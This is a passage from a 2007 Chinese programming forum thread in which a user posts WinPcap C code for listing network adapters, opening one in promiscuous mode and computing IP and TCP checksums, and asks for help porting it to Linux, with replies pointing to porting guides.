if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return;
}
for (d=alldevs; d; d=d->next)
{
if (d->addresses != NULL && (p = strchr(d->name, '{')) != NULL
&& Getadapterbyname(p, szIPAddr, ucPhysicalAddr,szGateIPAddr))
{
if (d->description[15] == 0x20)
d->description[15] = '\0';
printf("\n %d. %s\n\tIP Address. . . . . : %s\n", i, d->description, szIPAddr);
printf("\tPhysical Address. . : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",
ucPhysicalAddr[0], ucPhysicalAddr[1], ucPhysicalAddr[2],
ucPhysicalAddr[3], ucPhysicalAddr[4], ucPhysicalAddr[5]
);
printf("\tDefault Gateway . . : %s\n", szGateIPAddr);
i ++;
}
}
if (i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return;
}
pcap_freealldevs(alldevs);
}
//
// 入口参数: int uNum 网卡的ID
// 出口参数: unsigned char szIPSelf[] 网卡绑定的IP
// 返回值: 打开网卡的句柄
//
pcap_t* OpenAdapter(int uIndexofAdapter, char szIPSelf[],
unsigned char ucPhysicalAddr[], char szGateIPAddr[])
{
pcap_if_t *alldevs;
pcap_if_t *d;
pcap_t *fp = NULL;
int i = 0;
char errbuf[PCAP_ERRBUF_SIZE], *p;
/* 这个API用来获得网卡的列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return NULL;
}
/* 显示列表的响应字段的内容 */
for (d=alldevs; d; d=d->next)
{
if (d->addresses != NULL && (p = strchr(d->name, '{')) != NULL
&& Getadapterbyname(p, szIPSelf, ucPhysicalAddr, szGateIPAddr))
{
if (i == uIndexofAdapter)
{
if ((fp = pcap_open_live(d->name, // 设备名称
65536, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // 混杂模式
1, //读超时为1ms,越小越好
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. \
%s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return NULL;
}
else
{
if (d->description[15] == 0x20) // 修正一些不整洁的字符串
d->description[15] = '\0';
printf("
Bind on %s %s ...\n", szIPSelf, d->description);
return fp;
}
}
i ++;
}
}
if (i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return FALSE;
}
/* We don't need any more the device list. Free it */
pcap_freealldevs(alldevs);
return NULL;
}
[[i] 本帖最后由 huaping3263 于 2007-2-3 10:17 编辑 [/i]]
2007-2-3 09:52
huaping3263
//tcp.h
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size) cksum += *(UCHAR*) buffer;
cksum = (cksum >> 16) + (cksum&0xffff);
cksum += (cksum >> 16);
return (USHORT) (~cksum);
}
//
// 计算TCP检验和的函数
// 这个函数超级有用,起关键性的作用
//
void ComputeTcpPseudoHeaderChecksum(IPHeader *pIphdr, TCPHeader *pTcphdr,
char *payload, int payloadlen)
{
char *buff = (char *) malloc(1024+payloadlen);
char *ptr=buff;
int chksumlen = 0;
ULONG zero = 0;
// 伪头
// 包含源IP地址和目的IP地址
memcpy(ptr, &pIphdr->ipSource, sizeof(pIphdr->ipSource));
ptr += sizeof(pIphdr->ipSource);
chksumlen += sizeof(pIphdr->ipSource);
memcpy(ptr, &pIphdr->ipDestination, sizeof(pIphdr->ipDestination));
ptr += sizeof(pIphdr->ipDestination);
chksumlen += sizeof(pIphdr->ipDestination);
// 包含8位0域
memcpy(ptr, &zero, 1);
ptr += 1;
chksumlen += 1;
// 协议
memcpy(ptr, &pIphdr->ipProtocol, sizeof(pIphdr->ipProtocol));
ptr += sizeof(pIphdr->ipProtocol);
chksumlen += sizeof(pIphdr->ipProtocol);
// TCP长度
USHORT tcp_len = htons(sizeof(TCPHeader) + payloadlen);
memcpy(ptr, &tcp_len, sizeof(tcp_len));
ptr += sizeof(tcp_len);
chksumlen += sizeof(tcp_len);
// TCP头
memcpy(ptr, pTcphdr, sizeof(TCPHeader));
ptr += sizeof(TCPHeader);
chksumlen += sizeof(TCPHeader);
// 净荷
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;
// 补齐到下一个16位边界
for(int i=0; i < payloadlen % 2; i++)
{
*ptr = 0;
ptr ++;
chksumlen ++;
}
// 计算这个校验和,将结果填充到TCP头
pTcphdr->checksum = checksum((USHORT*) buff, chksumlen);
}
[[i] 本帖最后由 huaping3263 于 2007-2-3 10:18 编辑 [/i]]
2007-2-3 09:53
huaping3263
我在线等待哦,谢谢各位了,有什么问题的可以加我qq:278813617.
2007-2-3 10:53
huaping3263
谢谢了,我先看看去!
2007-2-3 12:09
huaping3263
是不是分不够啊,我就这么多,有的话我会继续加上去的,
大家给点意见哦.在线等呢.
2007-2-3 12:12
醉卧水云间
移植是容易的。分数是不够的。
2007-2-3 12:21
langue
“移植到 Linux 下编译”,用 MinGW
2007-2-3 12:30
huaping3263
[quote]原帖由 [i]醉卧水云间[/i] 于 2007-2-3 12:12 发表于 13楼
移植是容易的。分数是不够的。 [/quote]
我就这么多分了,全帖上了,那你说要多少分才说?
2007-2-3 12:33
huaping3263
[quote]原帖由 [i]langue[/i] 于 2007-2-3 12:21 发表于 14楼
“移植到 Linux 下编译”,用 MinGW [/quote]
我现在是想把C源码移植到linux上,不是从Linux上移植到win32
不过还是要谢谢这位朋友.
2007-2-3 15:38
HonestQiao
[quote]原帖由 [i]huaping3263[/i] 于 2007-2-3 12:33 发表于 16楼
我现在是想把C源码移植到linux上,不是从Linux上移植到win32
不过还是要谢谢这位朋友. [/quote]
他是说,让你在Linux下面去编译。
不过,这样子编译的程序,是在Windows上面运行的。
你可以参考:[url]http://wlx.westgis.ac.cn/187/[/url]
2007-2-3 15:41
HonestQiao
[url]http://www-128.ibm.com/developerworks/eserver/library/es-MigratingWin32toLinux.html?ca=dgr-lnxw16CPP2LinuxPower[/url]
这里是我前面推荐的移植的文章的英文原文,你可以看看。
网上的评价非常之好:
IBM developerWorks 有篇很不錯的文章 [Migrating Win32 C/C++ applications to Linux on POWER, Part 1] / [ Migrate Win32 C/C++ applications to Linux on POWER, Part 2],對於有心從事移植 Win32 C/C++ 應用程式到 Linux 的移植工作者,應該可以獲得啟發。
這兩篇文章有很清楚的 Win32 API <--> POSIX 對照表,比較重要的 Thread model 也有提及,thread stack size 的部分要留意,而 concurrent 當然也是重點,mutex 的處理是第二部分的內容,有些差異比方說 Win32 的 WaitForSingleObject(mutex, INFINITE)) 對應到 POSIX 的 pthread_mutex_lock(&mutex)。
另外,Novell的开发文档,那也是相当地不错啊:
[url]http://developer.novell.com/wiki/index.php/Porting_and_Migration_Tools[/url]
[[i] 本帖最后由 HonestQiao 于 2007-2-3 15:44 编辑 [/i]]
2007-2-3 15:51
huaping3263
[quote]原帖由 [i]HonestQiao[/i] 于 2007-2-3 15:38 发表于 17楼
他是说,让你在Linux下面去编译。
不过,这样子编译的程序,是在Windows上面运行的。
你可以参考:[url]http://wlx.westgis.ac.cn/187/[/url] [/quote]
我的现在的程序在Windows下可以编译通过,但是移植到Liunx上的时候,有许多地方要改动,我对Linux C 不是很懂,所以想请教一下各位怎么改.不过还是要谢谢了.
都等了好久也没解决,好郁闷!
2007-2-3 17:34
huaping3263
谁能做出来,分数可以继续加上去,不过我明天休息,星期一等大家的好消息!
页:
[1]
2
3